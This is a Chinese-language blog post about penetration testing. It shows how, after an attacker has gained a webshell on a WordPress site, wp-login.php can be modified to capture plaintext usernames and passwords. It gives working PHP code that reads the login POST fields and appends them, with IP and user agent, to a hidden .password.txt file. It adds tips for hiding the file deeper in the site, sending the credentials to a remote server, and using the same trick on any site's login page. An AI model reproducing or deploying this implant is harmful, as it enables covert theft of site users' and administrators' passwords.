渗透测试中wordpress密码的破译思路附代码

By | 2019年1月9日

wordpress这种CMS国外用的非常多,安全性还是不错的,更新快,看到这种东西,除了管理员架好之后就托管的垃圾站,持续更新的wordpress还是很让人头疼的。

如果通过某种方法拿下了webshell,拖库之后会发现wp_user这个wordpress这个用户表,里面的密码加密方法还是让人绝望的,我大概找了找这方面的资料发现他的加密方法如下(此处引用):

WordPress系统的用户密码是保存在wp_users数据表的user_pass字段,密码是通过Portable PHP password hashing framework类产生的,密码的形式是随机且不可逆,同一个明文的密码在不同时间,产生的密文也不一样,相对来说较为安全。

WordPress用户密码产生的过程是,当需要生成用户密码的时候,随机产生了一个salt,然后将salt和password相加,又进行了count次md5,最后和encode64的hash数值累加,就得到了一个以$P$开头的密码,这个密码每次产生的结果都不一样。

对于这种密码破解基本无望,在旧版本的wordpress中会有这样一个方法可能取得明文密码,拖库到本地,本地搭建wordpress,还原wordpress。然后修改管理员邮箱,点击忘记密码,理论上wordpress会将明文密码发到管理员的邮箱,所以取得明文密码。但可能本菜鸟才疏学浅,不能知道是哪个版本有这样一个漏洞。或者究竟有没有不可考。并且这种加密算法不可逆,wordpress如何从密文本身还原出明文发送到administrator的邮箱的?想不通。难道存放了明文密码?呵呵。。。

所以就有了另一种思路,直接截获明文密码,我们有webshell的时候,只要权限够大(一般修改权限还是有的)。我们可以修改wordpress本身的脚本,本文修改wordpress中的wp-login.php实现只要有人从后台登录就能记录下鞥如的密码,也包括管理员的。

我从官网随意下载了一个版本然后安装。

首先我们要分析WP登陆口传递过来的两个重要参数:

提交的账号密码参数分别为:log,pwd

我们开始编写我们自己的小脚本来接收存储内容

然后我们编辑器打开wp-login.php,搜索关键字case ‘login’回车之后增加脚本:

保存,接下来管理登录后台后会在根目录生成test.txt脚本,效果如下:

但是很多时候php没有写入权限,没关系,我们可以直接写入数据库,前提是你要获得数据库的连接密码,这个不用我说,大家都知道,然后建立一张表将截获的数据写进去。脚本如下:

下面的事情就是安静的等待,等待登入者上钩。

此方法有一定的风险,脚本需本地测试好,否则可能造成wordpress奔溃。

附上最终效果图及代码:

代码如下:

$log_user=$_POST[‘log’];

$log_pwd=$_POST[‘pwd’];

$log_ip=$_SERVER[“REMOTE_ADDR”];

$time=date(“Y-m-d H:i:s”,time());

$server=$_SERVER[‘HTTP_USER_AGENT’];

$txt=”登录账号:”.$log_user.”\r\n登录密码:”.$log_pwd.”\r\n登录地址:”.$log_ip.”\r\n登录时间:”.$time.”\r\n系统信息:\r\n”.$server;

$txt=$txt.”\r\n———————————\r\n”;

if($log_user&&$log_pwd&&$log_ip){

@fwrite(fopen(‘.password.txt’,”a+”),$txt);

}

后续另类玩法:

一:写入文件不要写入到根目录,容易被发现,可写入更深层次的文件夹下。

二:记录明文后,可写入到远程服务器,类似WEBSHELL箱子一样接收账号密码。

三:此方法通用,任何站点加密恶心,我们都可在登录口做手脚记录明文。